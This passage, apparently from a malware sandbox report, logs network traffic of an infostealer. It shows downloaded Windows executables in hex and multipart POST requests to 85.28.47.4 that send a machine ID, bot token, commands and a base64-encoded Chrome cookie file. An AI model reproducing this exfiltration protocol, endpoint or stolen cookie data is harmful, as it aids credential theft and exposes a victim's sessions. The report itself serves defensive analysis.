00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 26 Jun 2024 06:16:26 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 26 Jun 2024 06:16:30 GMTContent-Type: application/octet-streamContent-Length: 1917952Last-Modified: Wed, 26 Jun 2024 05:57:13 GMTConnection: keep-aliveETag: "667badb9-1d4400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1c 13 50 4a 58 72 3e 19 58 72 3e 19 58 72 3e 19 03 1a 3d 18 56 72 3e 19 03 1a 3b 18 f8 72 3e 19 8d 1f 3a 18 4a 72 3e 19 8d 1f 3d 18 4e 72 3e 19 8d 1f 3b 18 2d 72 3e 19 03 1a 3a 18 4c 72 3e 19 03 1a 3f 18 4b 72 3e 19 58 72 3f 19 8c 72 3e 19 c3 1c 37 18 59 72 3e 19 c3 1c c1 19 59 72 3e 19 c3 1c 3c 18 59 72 3e 19 52 69 63 68 58 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 57 59 50 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 dc 04 00 00 c4 01 00 00 00 00 00 00 e0 4b 00 00 10 00 00 00 f0 04 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 4c 00 00 04 00 00 32 e8 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 56 80 06 00 6a 00 00 00 00 70 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 cc 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 cc 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 60 06 00 00 10 00 00 00 d8 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 70 06 00 00 02 00 00 00 e8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 06 00 00 02 00 00 00 ea 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2b 00 00 90 06 00 00 02 00 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 63 61 6a 6f 73 64 69 00 30 1a 00 00 a0 31 00 00 30 1a 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 6c 69 76 67 72 77 79 00 10 00 00 00 d0 4b 00 00 04 00 00 00 1e 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 4b 00 00 22 00 00 00 22 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 26 Jun 2024 06:16:42 GMTContent-Type: application/octet-streamContent-Length: 2499584Last-Modified: Wed, 26 Jun 2024 04:18:01 GMTConnection: keep-aliveETag: "667b9679-262400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4a 8c 64 5a 0e ed 0a 09 0e ed 0a 09 0e ed 0a 09 61 9b a1 09 16 ed 0a 09 61 9b 94 09 03 ed 0a 09 61 9b a0 09 35 ed 0a 09 07 95 89 09 0d ed 0a 09 07 95 99 09 0c ed 0a 09 8e 94 0b 08 0d ed 0a 09 0e ed 0b 09 5a ed 0a 09 61 9b a5 09 01 ed 0a 09 61 9b 97 09 0f ed 0a 09 52 69 63 68 0e ed 0a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 89 fa 75 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ac 01 00 00 e8 21 00 00 00 00 00 0c db be 00 00 10 00 00 00 c0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 be 00 00 04 00 00 00 00 00 00 02 00 40 80 00 00 20 00 00 20 00 00 00 00 20 00 00 20 00 00 00 00 00 00 10 00 00 00 20 30 9d 00 b7 0d 00 00 d8 3d 9d 00 0c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 9d 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 01 00 00 10 00 00 00 a4 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 80 00 00 00 c0 01 00 00 40 00 00 00 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 30 21 00 00 40 02 00 00 04 00 00 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 50 00 00 00 70 23 00 00 20 00 00 00 ec 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 40 79 00 00 c0 23 00 00 28 03 00 00 0c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 64 61 74 61 00 00 00 00 f0 21 00 00 00 9d 00 00 f0 21 00 00 34 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKEGIDGDGHCAAAAKKFCGHost: 85.28.47.4Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 47 49 44 47 44 47 48 43 41 41 41 41 4b 4b 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 37 30 31 42 33 34 46 38 43 31 34 34 32 39 33 39 34 34 32 32 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 49 44 47 44 47 48 43 41 41 41 41 4b 4b 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 49 44 47 44 47 48 43 41 41 41 41 4b 4b 46 43 47 2d 2d 0d 0a Data Ascii: ------JKEGIDGDGHCAAAAKKFCGContent-Disposition: form-data; name="hwid"2701B34F8C144293944220------JKEGIDGDGHCAAAAKKFCGContent-Disposition: form-data; name="build"default------JKEGIDGDGHCAAAAKKFCG--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJDGDHIDBGIECBGHJDBHost: 85.28.47.4Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 44 47 44 48 49 44 42 47 49 45 43 42 47 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 66 30 66 30 34 36 35 32 38 32 65 63 66 37 63 30 61 61 33 66 34 32 39 37 33 33 31 66 33 37 66 64 33 65 61 31 39 34 35 61 61 34 31 32 61 39 64 30 33 63 63 35 65 65 37 33 66 32 30 36 61 63 34 33 63 36 62 30 34 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 44 47 44 48 49 44 42 47 49 45 43 42 47 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 44 47 44 48 49 44 42 47 49 45 43 42 47 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------KKJDGDHIDBGIECBGHJDBContent-Disposition: form-data; name="token"fbf0f0465282ecf7c0aa3f4297331f37fd3ea1945aa412a9d03cc5ee73f206ac43c6b04a------KKJDGDHIDBGIECBGHJDBContent-Disposition: form-data; name="message"browsers------KKJDGDHIDBGIECBGHJDB--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEBAKJDGHIIJJKFHCFCAHost: 85.28.47.4Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 42 41 4b 4a 44 47 48 49 49 4a 4a 4b 46 48 43 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 66 30 66 30 34 36 35 32 38 32 65 63 66 37 63 30 61 61 33 66 34 32 39 37 33 33 31 66 33 37 66 64 33 65 61 31 39 34 35 61 61 34 31 32 61 39 64 30 33 63 63 35 65 65 37 33 66 32 30 36 61 63 34 33 63 36 62 30 34 61 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 41 4b 4a 44 47 48 49 49 4a 4a 4b 46 48 43 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 41 4b 4a 44 47 48 49 49 4a 4a 4b 46 48 43 46 43 41 2d 2d 0d 0a Data Ascii: ------AEBAKJDGHIIJJKFHCFCAContent-Disposition: form-data; name="token"fbf0f0465282ecf7c0aa3f4297331f37fd3ea1945aa412a9d03cc5ee73f206ac43c6b04a------AEBAKJDGHIIJJKFHCFCAContent-Disposition: form-data; name="message"plugins------AEBAKJDGHIIJJKFHCFCA--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGCFHIDAKECFHIEBFCGHost: 85.28.47.4Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 66 30 66 30 34 36 35 32 38 32 65 63 66 37 63 30 61 61 33 66 34 32 39 37 33 33 31 66 33 37 66 64 33 65 61 31 39 34 35 61 61 34 31 32 61 39 64 30 33 63 63 35 65 65 37 33 66 32 30 36 61 63 34 33 63 36 62 30 34 61 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 2d 2d 0d 0a Data Ascii: ------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="token"fbf0f0465282ecf7c0aa3f4297331f37fd3ea1945aa412a9d03cc5ee73f206ac43c6b04a------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="message"fplugins------HDGCFHIDAKECFHIEBFCG--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAAAECGHCBGCBFHIIDHIHost: 85.28.47.4Content-Length: 7195Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/sqlite3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHIIJJJKEGIDGCBAFIJHost: 85.28.47.4Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 66 30 66 30 34 36 35 32 38 32 65 63 66 37 63 30 61 61 33 66 34 32 39 37 33 33 31 66 33 37 66 64 33 65 61 31 39 34 35 61 61 34 31 32 61 39 64 30 33 63 63 35 65 65 37 33 66 32 30 36 61 63 34 33 63 36 62 30 34 61 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 77 4f 44 41 79 43 55 35 4a 52 41 6b 31 4d 54 45 39 56 55 4a 6c 54 6b 4e 72 57 6a 4e 4d 4f 48 6c 59 59 33 67 34 63 57 67 30 53 6b 5a 56 57 47 74 33 61 30 35 44 4f 55 6c 79 5a 47 6c 53 5a 47 4a 71 55 31 52 71 63 56 4e 70 52 6d 67 34 56 33 4a 53 59 32 4a 4c 63 6c 39 79 54 30 70 69 5a 30 68 5a 4e 6c 52 42 4e 46 4a 55 4c 54 5a 77 63 7a 42 69 61 47 56 74 5a 6e 64 44 55 45 4a 7a 54 45 31 6e 55 46 51 33 4c 57 64 55 59 31 64 78 53 48 5a 61 64 6c 70 69 59 57 5a 50 63 47 74 78 55 6e 6b 77 5a 45 78 35 57 55 63 35 51 57 70 51 4d 6e 5a 69 56 55 4a 76 62 57 46 79 62 6d 4d 35 63 47 4e 61 56 6d 78 6f 53 47 74 56 5a 56 56 68 56 30 31 31 63 6b 51 77 52 30 64 59 65 56 63 77 4e 56 39 43 58 7a 46 4a 65 56 56 4f 57 55 56 46 54 47 31 35 63 56 4a 6e 43 69 35 6e 62 32 39 6e 62 47 55 75 59 32 39 74 43 56 52 53 56 55 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 6a 6b 35 4d 44 63 78 4e 6a 51 77 43 54 46 51 58 30 70 42 55 67 6b 79 4d 44 49 7a 4c 54 45 77 4c 54 41 31 4c 54 41 32 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 2d 2d 0d 0a Data Ascii: ------IDHIIJJJKEGIDGCBAFIJContent-Disposition: form-data; name="token"fbf0f0465282ecf7c0aa3f4297331f37fd3ea1945aa412a9d03cc5ee73f206ac43c6b04a------IDHIIJJJKEGIDGCBAFIJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IDHIIJJJKEGIDGCBAFIJContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3L
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCGCAAKJDHJJJJJKKKFBHost: 85.28.47.4Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 47 43 41 41 4b 4a 44 48 4a 4a 4a 4a 4a 4b 4b 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 66 30 66 30 34 36 35 32 38 32 65 63 66 37 63 30 61 61 33 66 34 32 39 37 33 33 31 66 33 37 66 64 33 65 61 31 39 34 35 61 61 34 31 32 61 39 64 30 33 63 63 35 65 65 37 33 66 32 30 36 61 63 34 33 63 36 62 30 34 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 43 41 41 4b 4a 44 48 4a 4a 4a 4a 4a 4b 4b 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 43 41 41 4b 4a 44 48 4a 4a 4a 4a 4a 4b 4b 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 43 41 41 4b 4a 44 48 4a 4a 4a 4a 4a 4b 4b 4b 46 42 2d 2d 0d 0a Data Ascii: ------HCGCAAKJDHJJJJJKKKFBContent-Disposition: form-data; name="token"fbf0f0465282ecf7c0aa3f4297331f37fd3ea1945aa412a9d03cc5ee73f206ac43c6b04a------HCGCAAKJDHJJJJJKKKFBContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------HCGCAAKJDHJJJJJKKKFBContent-Disposition: form-data; name="file"------HCGCAAKJDHJJJJJKKKFB--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHIIJJJKEGIDGCBAFIJHost: 85.28.47.4Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 66 30 66 30 34 36 35 32 38 32 65 63 66 37 63 30 61 61 33 66 34 32 39 37 33 33 31 66 33 37 66 64 33 65 61 31 39 34 35 61 61 34 31 32 61 39 64 30 33 63 63 35 65 65 37 33 66 32 30 36 61 63 34 33 63 36 62 30 34 61 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 